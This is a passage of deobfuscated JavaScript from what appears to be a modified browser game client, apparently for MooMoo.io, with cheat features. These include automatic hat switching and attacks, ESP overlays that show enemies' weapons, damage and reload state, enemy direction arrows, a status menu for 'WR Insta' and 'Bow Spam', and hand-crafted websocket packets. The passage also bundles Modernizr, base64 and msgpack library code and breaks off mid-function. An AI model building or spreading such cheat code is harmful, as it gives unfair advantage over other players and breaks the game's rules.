  3597. y4.send("6", y9.list.findIndex(cS => cS.name.includes(document.getElementById("sixbuilding").value)) + 16);
  3598. }
  3599. } else {
  3600. if (yI.items[5] != y9.list.findIndex(cS => cS.name.includes(document.getElementById("sixbuilding").value))) {
  3601. y4.send("6", 5);
  3602. y4.send("6", y9.list.findIndex(cS => cS.name.includes("cookie")) + 16);
  3603. y4.send("6", y9.list.findIndex(cS => cS.name.includes("pit")) + 16);
  3604. y4.send("6", y9.list.findIndex(cS => cS.name.includes("greater")) + 16);
  3605. y4.send("6", 10);
  3606. y4.send("6", y9.list.findIndex(cS => cS.name.includes(document.getElementById("sixbuilding").value)) + 16);
  3607. }
  3608. }
  3609. }
  3610. }
  3611. function cG() {
  3612. if (cH() && yI.skins[7]) {
  3613. Tf++;
  3614. db(7);
  3615. db(11, 1);
  3616. } else if (cy.length && yI.skins[22]) {
  3617. db(22);
  3618. db(11, 1);
  3619. } else if (yI.y2 > 6850 && yI.y2 < 7550 && yI.skins[31]) {
  3620. db(31);
  3621. db(11, 1);
  3622. } else if (nearestEnemy.length && cN(nearestEnemy, yI) < 250 && yI.skins[6]) {
  3623. db(6);
  3624. db(11, 1);
  3625. } else if (yI.y2 < 2400 && yI.skins[15]) {
  3626. db(15);
  3627. db(11, 1);
  3628. } else if (document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0) {
  3629. db(6);
  3630. db(11, 1);
  3631. } else {
  3632. db(12);
  3633. db(11, 1);
  3634. }
  3635. }
  3636. var cq = 3.14, cP = cq * Math.random();
  3637. setInterval(() => {
  3638. cq *= -1;
  3639. cP = cq * Math.random();
  3640. }, 350);
  3641. function cg() {
  3642. if (yI.primary.reload != 1) {
  3643. cp = !![];
  3644. JE(yI.weapons[0], 1);
  3645. } else if (yI.secondary.reload != 1) {
  3646. cp = !![];
  3647. JE(yI.weapons[1], 1);
  3648. if (yI.weapons[1] == 15) {
  3649. if (document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0) {
  3650. y4.send("2", cP);
  3651. }
  3652. }
  3653. } else if (cp) {
  3654. cp = ![];
  3655. if (yI.weapons[1] == 10 && (yI.weapons[0] == 4 || yI.weapons[0] == 5)) {
  3656. JE(yI.weapons[1], 1);
  3657. JE(yI.weapons[1], 1);
  3658. } else {
  3659. JE(yI.weapons[0], 1);
  3660. JE(yI.weapons[0], 1);
  3661. }
  3662. }
  3663. }
  3664. function cH(cS) {
  3665. let cf = cX(nearestEnemy[0]);
  3666. if (yI.skinIndex == 45) return ![];
  3667. if (yI.shameCount > 0 && (tick - yI.bullTick) % 9 == 0 || Tf > 1) {
  3668. return !![];
  3669. }
  3670. return ![];
  3671. }
  3672. function cN(cS, cf) {
  3673. return Math.sqrt(Math.pow((cf.y2 || cf.y) - cS[2], 2) + Math.pow((cf.x2 || cf.x) - cS[1], 2));
  3674. }
  3675. function ch(cS, cf) {
  3676. return Math.sqrt(Math.pow((cf.y2 || cf.y) - (cS.y2 || cS.y), 2) + Math.pow((cf.x2 || cf.x) - (cS.x2 || cS.x), 2));
  3677. }
  3678. function cX(cS) {
  3679. for (var cf = 0; cf < yu.length; ++cf) if (yu[cf].sid == cS) return yu[cf];
  3680. return null;
  3681. }
  3682. function cF(cS) {
  3683. for (var cf = 0; cf < yb.length; ++cf) if (yb[cf].sid == cS) return yb[cf];
  3684. return null;
  3685. }
  3686. function cZ(cS) {
  3687. for (var cf = 0; cf < yQ.length; ++cf) if (yQ[cf].sid == cS) return yQ[cf];
  3688. return null;
  3689. }
  3690. var cz = -1;
  3691. function cO() {
  3692. var cS = Date.now() - cz;
  3693. window.pingTime = cS, VG.innerText = "[" + cS + "]";
  3694. }
  3695. var cE = ![];
  3696. function cI() {
  3697. if (cE == ![]) {
  3698. cE = !![];
  3699. document.getElementById("ot-sdk-btn-floating").remove();
  3700. }
  3701. cz = Date.now(), y4.send("pp");
  3702. }
  3703. function cM(cS) {
  3704. if (!(cS < 0)) {
  3705. var cf = Math.floor(cS / 60), cA = cS % 60;
  3706. cA = ("0" + cA).slice(-2), Vq.innerText = "Server restarting in " + cf + ":" + cA, Vq.hidden = !1;
  3707. }
  3708. }
  3709. function cK(cS) {
  3710. window.open(cS, "_blank");
  3711. }
  3712. var cr = 0, cw = 0, cR = 0;
  3713. function cv() {
  3714. cr++;
  3715. if (Date.now() - cR >= 1e3) {
  3716. cw = cr;
  3717. cr = 0;
  3718. cR = Date.now();
  3719. }
  3720. if (yI && cw < 10 && document.getElementById("antivelinsta").checked) {
  3721. websocket.send(new Uint8Array([135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180]));
  3722. }
  3723. }
  3724. window.requestAnimFrame = window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || function (cS) {
  3725. window.setTimeout(cS, 1e3 / 60);
  3726. }, function () {
  3727. var cS = y7.mapScale / 2;
  3728. Va.add(0, cS, cS + 200, 0, y7.treeScales[3], 0), Va.add(1, cS, cS - 480, 0, y7.treeScales[3], 0), Va.add(2, cS + 300, cS + 450, 0, y7.treeScales[3], 0), Va.add(3, cS - 950, cS - 130, 0, y7.treeScales[2], 0), Va.add(4, cS - 750, cS - 400, 0, y7.treeScales[3], 0), Va.add(5, cS - 700, cS + 400, 0, y7.treeScales[2], 0), Va.add(6, cS + 800, cS - 200, 0, y7.treeScales[3], 0), Va.add(7, cS - 260, cS + 340, 0, y7.bushScales[3], 1), Va.add(8, cS + 760, cS + 310, 0, y7.bushScales[3], 1), Va.add(9, cS - 800, cS + 100, 0, y7.bushScales[3], 1), Va.add(10, cS - 800, cS + 300, 0, y9.list[4].scale, y9.list[4].id, y9.list[10]), Va.add(11, cS + 650, cS - 390, 0, y9.list[4].scale, y9.list[4].id, y9.list[10]), Va.add(12, cS - 400, cS - 450, 0, y7.rockScales[2], 2);
  3729. }(), function cS() {
  3730. yz = Date.now(), yZ = yz - yY, cv(), yY = yz, function () {
  3731. if (yI && (!yO || yz - yO >= 1e3 / y7.clientSendRate) && (yO = yz, y4.send("2", J9())), Jr < 120 && (Jr += 0.1 * yZ, VY.style.fontSize = Math.min(Math.round(Jr), 120) + "px"), yI) {
  3732. var cf = y5.getDistance(yr, yw, yI.x, yI.y), cA = y5.getDirection(yI.x, yI.y, yr, yw), cY = Math.min(0.01 * cf * yZ, cf);
  3733. cf > 0.05 ? (yr += cY * Math.cos(cA), yw += cY * Math.sin(cA)) : (yr = yI.x, yw = yI.y);
  3734. } else yr = y7.mapScale / 2, yw = y7.mapScale / 2;
  3735. for (var cb = yz - 1e3 / y7.serverUpdateRate, cu = 0; cu < yu.length + yb.length; ++cu) if ((yK = yu[cu] || yb[cu - yu.length]) && yK.visible) if (yK.forcePos) yK.x = yK.x2, yK.y = yK.y2, yK.dir = yK.d2; else {
  3736. var cx = yK.t2 - yK.t1, cQ = (cb - yK.t1) / cx;
  3737. yK.dt += yZ;
  3738. var ck = Math.min(1.7, yK.dt / 170), cl = yK.x2 - yK.x1;
  3739. yK.x = yK.x1 + cl * ck, cl = yK.y2 - yK.y1, yK.y = yK.y1 + cl * ck, yK.dir = Math.lerpAngle(yK.d2, yK.d1, Math.min(1.2, cQ));
  3740. }
  3741. var ca = yr - V2 / 2, co = yw - V3 / 2;
  3742. y7.snowBiomeTop - co <= 0 && y7.mapScale - y7.snowBiomeTop - co >= V3 ? (VL.fillStyle = "#b6db66", VL.fillRect(0, 0, V2, V3)) : y7.mapScale - y7.snowBiomeTop - co <= 0 ? (VL.fillStyle = "#dbc666", VL.fillRect(0, 0, V2, V3)) : y7.snowBiomeTop - co >= V3 ? (VL.fillStyle = "#fff", VL.fillRect(0, 0, V2, V3)) : y7.snowBiomeTop - co >= 0 ? (VL.fillStyle = "#fff", VL.fillRect(0, 0, V2, y7.snowBiomeTop - co), VL.fillStyle = "#b6db66", VL.fillRect(0, y7.snowBiomeTop - co, V2, V3 - (y7.snowBiomeTop - co))) : (VL.fillStyle = "#b6db66", VL.fillRect(0, 0, V2, y7.mapScale - y7.snowBiomeTop - co), VL.fillStyle = "#dbc666", VL.fillRect(0, y7.mapScale - y7.snowBiomeTop - co, V2, V3 - (y7.mapScale - y7.snowBiomeTop - co))), JI || ((yW += ym * y7.waveSpeed * yZ) >= y7.waveMax ? (yW = y7.waveMax, ym = -1) : yW <= 1 && (yW = ym = 1), VL.globalAlpha = 1, VL.fillStyle = "#dbc666", Ja(ca, co, VL, y7.riverPadding), VL.fillStyle = "#91b2db", Ja(ca, co, VL, 250 * (yW - 1))), VL.lineWidth = 4, VL.strokeStyle = "#000", VL.globalAlpha = !(document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0) && !(document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 1) ? 0 : 0.06, VL.beginPath();
  3743. let cD = document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 1;
  3744. for (var cW = cD ? (14400 - ca) % 1440 : -yr; cW < V2; cW += cD ? 1440 : V3 / 18) cW > 0 && (VL.moveTo(cW, 0), VL.lineTo(cW, V3));
  3745. for (var cm = cD ? (14400 - co) % 1440 : -yw; cm < V3; cm += cD ? 1440 : V3 / 18) cW > 0 && (VL.moveTo(0, cm), VL.lineTo(V2, cm));
  3746. for (VL.stroke(), VL.globalAlpha = 1, VL.strokeStyle = Vo, Jo(-1, ca, co), VL.globalAlpha = 1, VL.lineWidth = 5.5, JQ(0, ca, co), JC(ca, co, 0), VL.globalAlpha = 1, cu = 0; cu < yb.length; ++cu) (yK = yb[cu]).active && yK.visible && (yK.animate(yZ), VL.save(), VL.translate(yK.x - ca, yK.y - co), VL.rotate(yK.dir + yK.dirPlus - Math.PI / 2), TE(yK, VL), VL.restore());
  3747. if (Jo(0, ca, co), JQ(1, ca, co), Jo(1, ca, co), JC(ca, co, 1), Jo(2, ca, co), Jo(3, ca, co), VL.fillStyle = "#000", VL.globalAlpha = 0.09, ca <= 0 && VL.fillRect(0, 0, -ca, V3), y7.mapScale - ca <= V2) {
  3748. var cB = Math.max(0, -co);
  3749. VL.fillRect(y7.mapScale - ca, cB, V2 - (y7.mapScale - ca), V3 - cB);
  3750. }
  3751. if (co <= 0 && VL.fillRect(-ca, 0, V2 + ca, -co), y7.mapScale - co <= V3) {
  3752. var cj = Math.max(0, -ca), cC = 0;
  3753. y7.mapScale - ca <= V2 && (cC = V2 - (y7.mapScale - ca)), VL.fillRect(cj, y7.mapScale - co, V2 - cj - cC, V3 - (y7.mapScale - co));
  3754. }
  3755. for (VL.globalAlpha = 1, VL.fillStyle = "rgba(0, 0, 70, 0.35)", VL.fillRect(0, 0, V2, V3), VL.strokeStyle = VD, cu = 0; cu < yu.length + yb.length; ++cu) if ((yK = yu[cu] || yb[cu - yu.length]).visible && (10 != yK.skinIndex || yK == yI || yK.team && yK.team == yI.team)) {
  3756. let L4 = document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 1 ? !![] : ![];
  3757. var L0 = (yK.team ? "[" + yK.team + "] " : "") + (yK.isPlayer ? document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0 ? "" : yK == yI ? "" : L4 == !![] ? "[" + yK.primary.id + (yK.secondary.id ? "/" + yK.secondary.id : "") + "] " : "" : "") + (yK.name || "");
  3758. if ("" != L0) {
  3759. if (VL.font = (yK.nameScale || 30) + "px Hammersmith One", VL.fillStyle = "#fff", VL.textBaseline = "middle", VL.textAlign = "center", VL.lineWidth = yK.nameScale ? 11 : 8, VL.lineJoin = "round", VL.strokeText(L0, yK.x - ca, yK.y - co - yK.scale - y7.nameY), VL.fillText(L0, yK.x - ca, yK.y - co - yK.scale - y7.nameY), yK.isLeader && Jf.crown.isLoaded) {
  3760. var L1 = y7.crownIconScale;
  3761. cj = yK.x - ca - L1 / 2 - VL.measureText(L0).width / 2 - y7.crownPad, VL.drawImage(Jf.crown, cj, yK.y - co - yK.scale - y7.nameY - L1 / 2 - 5, L1, L1);
  3762. }
  3763. 1 == yK.iconIndex && Jf.skull.isLoaded && (L1 = y7.crownIconScale, cj = yK.x - ca - L1 / 2 + VL.measureText(L0).width / 2 + y7.crownPad, VL.drawImage(Jf.skull, cj, yK.y - co - yK.scale - y7.nameY - L1 / 2 - 5, L1, L1));
  3764. Jf.crosshair.isLoaded && !(document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0) && Jz && nearestEnemy.length && yK.sid == nearestEnemy[0] && yK.isPlayer && (L1 = 2 * y7.playerScale - 10, VL.drawImage(Jf.crosshair, yK.x - ca - L1 / 2, yK.y - co - L1 / 2, L1, L1));
  3765. }
  3766. if (yI && yK == yI && L4 == !![]) {
  3767. document.getElementById("fz's op status menu").style.display = "block";
  3768. document.getElementById("fz's op status menu").innerHTML = '\n <div style="font-size: 14px;">\n WR Insta: ' + (Jz ? "ON" : "OFF") + "<br>\n Song Chating: " + (Jp ? "ON" : "OFF") + "<br>\n Bow Spam: " + J7.status + "<br>\n Turrets that can hit you: " + cy.length + "\n </div>\n ";
  3769. } else if (L4 == ![]) {
  3770. document.getElementById("fz's op status menu").style.display = "none";
  3771. }
  3772. if (yI && yK != yI && yK.isPlayer == !![] && L4 == !![] && !(document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0)) {
  3773. VL.textAlign = "center", VL.fillStyle = "#fff", VL.lineJoin = "round", VL.font = "20px Hammersmith One", VL.strokeStyle = "black", VL.lineWidth = 6, VL.strokeText("[" + yK.primary.dmg + "," + (yK.turret == 1 ? "true" : "false") + ("," + yK.secondary.dmg || "") + "]", yK.x - ca, yK.y - co + yK.scale + y7.nameY + 30), VL.fillText("[" + yK.primary.dmg + "," + (yK.turret == 1 ? "true" : "false") + ("," + yK.secondary.dmg || "") + "]", yK.x - ca, yK.y - co + yK.scale + y7.nameY + 30);
  3774. }
  3775. yI && yK == yI && L4 == !![] && !(document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0) && (VL.textAlign = "center", VL.fillStyle = "#fff", VL.lineJoin = "round", VL.font = "20px Hammersmith One", VL.strokeStyle = "black", VL.lineWidth = 6, VL.strokeText("[" + cy.length + "," + Jz + "," + TS.length + "]", yK.x - ca, yK.y - co + yK.scale + y7.nameY + 30), VL.fillText("[" + cy.length + "," + Jz + "," + TS.length + "]", yK.x - ca, yK.y - co + yK.scale + y7.nameY + 30));
  3776. if (yK.isPlayer && L4 == !![] && !(document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0)) {
  3777. let L5 = yI.x + Math.cos(Math.atan2(yK.y - yI.y, yK.x - yI.x)) * (ch(yK, yI) / 3);
  3778. let L6 = yI.y + Math.sin(Math.atan2(yK.y - yI.y, yK.x - yI.x)) * (ch(yK, yI) / 3);
  3779. let L7 = VL;
  3780. if (yK != yI && (yK.team != yI.team || !yK.team)) {
  3781. L7.save();
  3782. L7.translate(L5 - ca, L6 - co);
  3783. L7.rotate(Math.atan2(yK.y - yI.y, yK.x - yI.x));
  3784. L7.fillStyle = L4 ? "#fff" : "#000";
  3785. Ts(L7, 1.5, L4 ? 15 : 20, L4 ? 15 : 20, 1);
  3786. L7.fill();
  3787. L7.restore();
  3788. }
  3789. }
  3790. if (yK.isPlayer && !(document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0)) {
  3791. VL.font = (yK.nameScale || 30) + "px Hammersmith One";
  3792. VL.fillStyle = yK.shameCount >= 7 ? "#ff0000" : yK.shameCount == 6 || yK.shameCount == 5 ? "#ffa500" : yK.shameCount == 4 || yK.shameCount == 3 ? "#ffff00" : "#808080";
  3793. VL.textBaseline = "middle";
  3794. VL.textAlign = "center";
  3795. VL.lineWidth = yK.nameScale ? 11 : 8;
  3796. VL.lineJoin = "round";
  3797. VL.strokeText(yK.shameCount, yK.x - ca + VL.measureText(L0).width / 2 + y7.crownPad, yK.y - co - yK.scale - y7.nameY);
  3798. VL.fillText(yK.shameCount, yK.x - ca + VL.measureText(L0).width / 2 + y7.crownPad, yK.y - co - yK.scale - y7.nameY);
  3799. }
  3800. yK.isPlayer && L4 == !![] && !(document.getElementById("doExternalVisuals").checked == !![] && document.getElementById("visualType").value == 0) && (y7.reloadBarWidth, VL.fillStyle = VD, VL.roundRect(yK.x - ca - 50 - y7.healthBarPad, yK.y - co + yK.scale + y7.nameY - 13, 2 * 23.5 + 2 * y7.healthBarPad, 17, 10), VL.fill(), VL.fillStyle = yK.primary.reload == 1 ? "#fff000" : "hsl(" + 360 * yK.primary.reload + ", 50%, 60%)", VL.roundRect(yK.x - ca - 50, yK.y - co + yK.scale + y7.nameY - 13 + y7.healthBarPad, 2 * 23.5 * yK.primary.reload, 16 - 2 * y7.healthBarPad, 10), VL.fill(), y7.reloadBarWidth, VL.fillStyle = VD, VL.roundRect(yK.x - ca + 2 - y7.healthBarPad, yK.y - co + yK.scale + y7.nameY - 13, 2 * 23.5 + 2 * y7.healthBarPad, 17, 10), VL.fill(), VL.fillStyle = yK.secondary.reload == 1 ? "#fff000" : "hsl(" + 360 * yK.secondary.reload + ", 50%, 60%)", VL.roundRect(yK.x - ca + 2, yK.y - co + yK.scale + y7.nameY - 13 + y7.healthBarPad, 2 * 23.5 * yK.secondary.reload, 16 - 2 * y7.healthBarPad, 10), VL.fill());
  3801. yK.health > 0 && (y7.healthBarWidth, VL.fillStyle = VD, VL.roundRect(yK.x - ca - y7.healthBarWidth - y7.healthBarPad, yK.y - co + yK.scale + y7.nameY, 2 * y7.healthBarWidth + 2 * y7.healthBarPad, 17, 8), VL.fill(), VL.fillStyle = yK == yI || yK.team && yK.team == yI.team ? "#8ecc51" : "#cc5151", VL.roundRect(yK.x - ca - y7.healthBarWidth, yK.y - co + yK.scale + y7.nameY + y7.healthBarPad, 2 * y7.healthBarWidth * (yK.health / yK.maxHealth), 17 - 2 * y7.healthBarPad, 7), VL.fill());
  3802. }
  3803. for (yL.update(yZ, VL, ca, co), cu = 0; cu < yu.length; ++cu) if ((yK = yu[cu]).visible && yK.chatCountdown > 0) {
  3804. yK.chatCountdown -= yZ, yK.chatCountdown <= 0 && (yK.chatCountdown = 0), VL.font = "32px Hammersmith One";
  3805. var L2 = VL.measureText(yK.chatMessage);
  3806. VL.textBaseline = "middle", VL.textAlign = "center", cj = yK.x - ca, cB = yK.y - yK.scale - co - 90;
  3807. var L3 = L2.width + 17;
  3808. VL.fillStyle = "rgba(0,0,0,0.2)", VL.roundRect(cj - L3 / 2, cB - 23.5, L3, 47, 6), VL.fill(), VL.fillStyle = "#fff", VL.fillText(yK.chatMessage, cj, cB);
  3809. }
  3810. !function (L8) {
  3811. if (yI && yI.alive) {
  3812. Vu.clearRect(0, 0, VA.width, VA.height), Vu.strokeStyle = "#fff", Vu.lineWidth = 4;
  3813. for (var L9 = 0; L9 < dI.length; ++L9) (dE = dI[L9]).update(Vu, L8);
  3814. if (Vu.globalAlpha = 1, Vu.fillStyle = "#fff", TL(yI.x / y7.mapScale * VA.width, yI.y / y7.mapScale * VA.height, 7, Vu, !0), Vu.fillStyle = "rgba(255,255,255,0.35)", yI.team && dc) {
  3815. for (L9 = 0; L9 < dc.length; L9 += 2) {
  3816. TL(dc[L9] / y7.mapScale * VA.width, dc[L9 + 1] / y7.mapScale * VA.height, 7, Vu, !0);
  3817. }
  3818. }
  3819. dT && (Vu.fillStyle = "#fc5553", Vu.font = "34px Hammersmith One", Vu.textBaseline = "middle", Vu.textAlign = "center", Vu.fillText("x", dT.x / y7.mapScale * VA.width, dT.y / y7.mapScale * VA.height)), dL && (Vu.fillStyle = "#fff", Vu.font = "34px Hammersmith One", Vu.textBaseline = "middle", Vu.textAlign = "center", Vu.fillText("x", dL.x / y7.mapScale * VA.width, dL.y / y7.mapScale * VA.height));
  3820. for (let Ly = 0; Ly < botInfo.length; Ly++) {
  3821. if (botInfo[Ly]) {
  3822. Vu.fillStyle = "#ffa500";
  3823. TL(botInfo[Ly][1] / y7.mapScale * VA.width, botInfo[Ly][2] / y7.mapScale * VA.height, 7, Vu, !0);
  3824. }
  3825. }
  3826. for (let LV = 0; LV < botEnemies.length; LV++) {
  3827. if (botEnemies[LV] && botEnemies[LV][0] != yI.sid && !isAlly(botEnemies[LV][0]) && !botInfo.find(Ld => Ld[0] == botEnemies[LV][0])) {
  3828. Vu.fillStyle = "#ff0000";
  3829. TL(botEnemies[LV][1] / y7.mapScale * VA.width, botEnemies[LV][2] / y7.mapScale * VA.height, 7, Vu, !0);
  3830. }
  3831. }
  3832. }
  3833. }(yZ), -1 !== yC.id && Ji(yC.startX, yC.startY, yC.currentX, yC.currentY), -1 !== V0.id && Ji(V0.startX, V0.startY, V0.currentX, V0.currentY);
  3834. }();
  3835. if (V2 && V3 && document.getElementById("darkmode").checked) {
  3836. let cf = VL.getTransform();
  3837. let cA = VL.createRadialGradient(V2 / 2, V3 / 2, 100, V2 / 2, V3 / 2, 1e3);
  3838. cA.addColorStop(0, "rgb(0, 0, 0, 0)"), cA.addColorStop(0.4, "rgb(0, 0, 0, 0.3)"), cA.addColorStop(1, "rgb(0, 0, 0, 0.6)");
  3839. VL.fillStyle = cA;
  3840. VL.fillRect(0, 0, V2, V3);
  3841. VL.setTransform(cf);
  3842. }
  3843. requestAnimFrame(cS);
  3844. }(), window.openLink = cK, window.aJoinReq = dX, window.follmoo = function () {
  3845. yf || (yf = !0, yN("moofoll", 1));
  3846. }, window.kickFromClan = dF, window.sendJoin = dZ, window.leaveAlliance = dO, window.createAlliance = dz, window.storeBuy = du, window.storeEquip = db, window.showItemInfo = dJ, window.selectSkinColor = function (cf) {
  3847. V1 = cf, da();
  3848. }, window.changeStoreIndex = function (cf) {
  3849. dr != cf && (dr = cf, dR());
  3850. }, window.config = y7;
  3851. }, function (y, V) {
  3852. !function (d, J, T) {
  3853. function L(N, X) {
  3854. return typeof N === X;
  3855. }
  3856. var p = [], U = [], G = {_version: "3.5.0", _config: {classPrefix: "", enableClasses: !0, enableJSClass: !0, usePrefixes: !0}, _q: [], on: function (N, X) {
  3857. var F = this;
  3858. setTimeout(function () {
  3859. X(F[N]);
  3860. }, 0);
  3861. }, addTest: function (N, X, F) {
  3862. U.push({name: N, fn: X, options: F});
  3863. }, addAsyncTest: function (N) {
  3864. U.push({name: null, fn: N});
  3865. }}, q = function () {};
  3866. q.prototype = G, q = new q;
  3867. var P = J.documentElement, g = "svg" === P.nodeName.toLowerCase();
  3868. q.addTest("passiveeventlisteners", function () {
  3869. var N = !1;
  3870. try {
  3871. var X = Object.defineProperty({}, "passive", {get: function () {
  3872. N = !0;
  3873. }});
  3874. d.addEventListener("test", null, X);
  3875. } catch (F) {}
  3876. return N;
  3877. }), function () {
  3878. var N, X, F, Z, z, O;
  3879. for (var E in U) if (U.hasOwnProperty(E)) {
  3880. if (N = [], (X = U[E]).name && (N.push(X.name.toLowerCase()), X.options && X.options.aliases && X.options.aliases.length)) for (F = 0; F < X.options.aliases.length; F++) N.push(X.options.aliases[F].toLowerCase());
  3881. for (Z = L(X.fn, "function") ? X.fn() : X.fn, z = 0; z < N.length; z++) 1 === (O = N[z].split(".")).length ? q[O[0]] = Z : (!q[O[0]] || q[O[0]] instanceof Boolean || (q[O[0]] = new Boolean(q[O[0]])), q[O[0]][O[1]] = Z), p.push((Z ? "" : "no-") + O.join("-"));
  3882. }
  3883. }(), function (N) {
  3884. var X = P.className, F = q._config.classPrefix || "";
  3885. if (g && (X = X.baseVal), q._config.enableJSClass) {
  3886. var Z = new RegExp("(^|\\s)" + F + "no-js(\\s|$)");
  3887. X = X.replace(Z, "$1" + F + "js$2");
  3888. }
  3889. q._config.enableClasses && (X += " " + F + N.join(" " + F), g ? P.className.baseVal = X : P.className = X);
  3890. }(p), delete G.addTest, delete G.addAsyncTest;
  3891. for (var H = 0; H < q._q.length; H++) q._q[H]();
  3892. d.Modernizr = q;
  3893. }(window, document);
  3894. }, function (y, V, d) {
  3895. var J = d(24);
  3896. d(19), y.exports = {socket: null, connected: !1, socketId: -1, connect: function (T, c, L) {
  3897. if (!this.socket) {
  3898. var p = this;
  3899. try {
  3900. var U = !1, G = T;
  3901. this.socket = new WebSocket(G), this.socket.binaryType = "arraybuffer", this.socket.onmessage = function (q) {
  3902. var P = new Uint8Array(q.data), g = J.decode(P), H = g[0];
  3903. P = g[1], "io-init" == H ? p.socketId = P[0] : L[H].apply(void 0, P);
  3904. }, this.socket.onopen = function () {
  3905. p.connected = !0, c();
  3906. }, this.socket.onclose = function (q) {
  3907. p.connected = !1, 4001 == q.code ? c("Invalid Connection") : U || c("disconnected");
  3908. }, this.socket.onerror = function (q) {
  3909. this.socket && this.socket.readyState != WebSocket.OPEN && (U = !0, console.error("Socket error", arguments), c("Socket error"));
  3910. };
  3911. } catch (q) {
  3912. console.warn("Socket connection error:", q), c(q);
  3913. }
  3914. }
  3915. }, send: function (T) {
  3916. var c = Array.prototype.slice.call(arguments, 1), L = J.encode([T, c]);
  3917. this.socket.send(L);
  3918. }, socketReady: function () {
  3919. return this.socket && this.connected;
  3920. }, close: function () {
  3921. this.socket && this.socket.close();
  3922. }};
  3923. }, function (y, V, d) {
  3924. V.encode = d(9).encode, V.decode = d(15).decode, V.Encoder = d(37).Encoder, V.Decoder = d(38).Decoder, V.createCodec = d(39).createCodec, V.codec = d(40).codec;
  3925. }, function (y, V, d) {
  3926. (function (J) {
  3927. function T(c) {
  3928. return c && c.isBuffer && c;
  3929. }
  3930. y.exports = T(void 0 !== J && J) || T(this.Buffer) || T("undefined" != typeof window && window.Buffer) || this.Buffer;
  3931. }.call(this, d(11).Buffer));
  3932. }, function (y, V, d) {
  3933. "use strict";
  3934. V.byteLength = function (H) {
  3935. var N = q(H), X = N[0], F = N[1];
  3936. return 3 * (X + F) / 4 - F;
  3937. }, V.toByteArray = function (H) {
  3938. var N, X, F = q(H), Z = F[0], z = F[1], O = new L(function (M, K, w) {
  3939. return 3 * (K + w) / 4 - w;
  3940. }(0, Z, z)), E = 0, I = z > 0 ? Z - 4 : Z;
  3941. for (X = 0; X < I; X += 4) N = T[H.charCodeAt(X)] << 18 | T[H.charCodeAt(X + 1)] << 12 | T[H.charCodeAt(X + 2)] << 6 | T[H.charCodeAt(X + 3)], O[E++] = N >> 16 & 255, O[E++] = N >> 8 & 255, O[E++] = 255 & N;
  3942. return 2 === z && (N = T[H.charCodeAt(X)] << 2 | T[H.charCodeAt(X + 1)] >> 4, O[E++] = 255 & N), 1 === z && (N = T[H.charCodeAt(X)] << 10 | T[H.charCodeAt(X + 1)] << 4 | T[H.charCodeAt(X + 2)] >> 2, O[E++] = N >> 8 & 255, O[E++] = 255 & N), O;
  3943. }, V.fromByteArray = function (H) {
  3944. for (var N, X = H.length, F = X % 3, Z = [], z = 0, O = X - F; z < O; z += 16383) Z.push(g(H, z, z + 16383 > O ? O : z + 16383));
  3945. return 1 === F ? (N = H[X - 1], Z.push(J[N >> 2] + J[N << 4 & 63] + "==")) : 2 === F && (N = (H[X - 2] << 8) + H[X - 1], Z.push(J[N >> 10] + J[N >> 4 & 63] + J[N << 2 & 63] + "=")), Z.join("");
  3946. };
  3947. for (var J = [], T = [], L = "undefined" != typeof Uint8Array ? Uint8Array : Array, p = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", U = 0, G = p.length; U < G; ++U) J[U] = p[U], T[p.charCodeAt(U)] = U;
  3948. function q(H) {
  3949. var N = H.length;
  3950. if (N % 4 > 0) throw new Error("Invalid string. Length must be a multiple of 4");
  3951. var X = H.indexOf("=");
  3952. return -1 === X && (X = N), [X, X === N ? 0 : 4 - X % 4];
  3953. }
  3954. function P(H) {
  3955. return J[H >> 18 & 63] + J[H >> 12 & 63] + J[H >> 6 & 63] + J[63 & H];
  3956. }
  3957. function g(H, N, X) {
  3958. for (var F, Z = [], z = N; z < X; z += 3) F = (H[z] << 16 & 16711680) + (H[z + 1] << 8 & 65280) + (255 & H[z + 2]), Z.push(P(F));
  3959. return Z.join("");
  3960. }
  3961. T["-".charCodeAt(0)] = 62, T["_".charCodeAt(0)] = 63;
  3962. }, function (y, V) {
  3963. var d = {}.toString;
  3964. y.exports = Array.isArray || function (J) {
  3965. return "[object Array]" == d.call(J);
  3966. };
  3967. }, function (y, V, d) {
  3968. var J = d(0);
  3969. function T(c) {
  3970. return new Array(c);
  3971. }
  3972. (V = y.exports = T(0)).alloc = T, V.concat = J.concat, V.from = function (c) {
  3973. if (!J.isBuffer(c) && J.isView(c)) c = J.Uint8Array.from(c); else if (J.isArrayBuffer(c)) c = new Uint8Array(c); else {
  3974. if ("string" == typeof c) return J.from.call(V, c);
  3975. if ("number" == typeof c) throw new TypeError('"value" argument must not be a number');
  3976. }
  3977. return Array.prototype.slice.call(c);
  3978. };
  3979. }, function (y, V, d) {
  3980. var J = d(0), T = J.global;
  3981. function c(L) {
  3982. return new T(L);
  3983. }
  3984. (V = y.exports = J.hasBuffer ? c(0) : []).alloc = J.hasBuffer && T.alloc || c, V.concat = J.concat, V.from = function (L) {
  3985. if (!J.isBuffer(L) && J.isView(L)) L = J.Uint8Array.from(L); else if (J.isArrayBuffer(L)) L = new Uint8Array(L); else {
  3986. if ("string" == typeof L) return J.from.call(V, L);
  3987. if ("number" == typeof L) throw new TypeError('"value" argument must not be a number');
  3988. }
  3989. return T.from && 1 !== T.from.length ? T.from(L) : new T(L);
  3990. };
  3991. }, function (y, V, d) {
  3992. var J = d(0);
  3993. function T(c) {
  3994. return new Uint8Array(c);
  3995. }
  3996. (V = y.exports = J.hasArrayBuffer ? T(0) : []).alloc = T, V.concat = J.concat, V.from = function (c) {
  3997. if (J.isView(c)) {
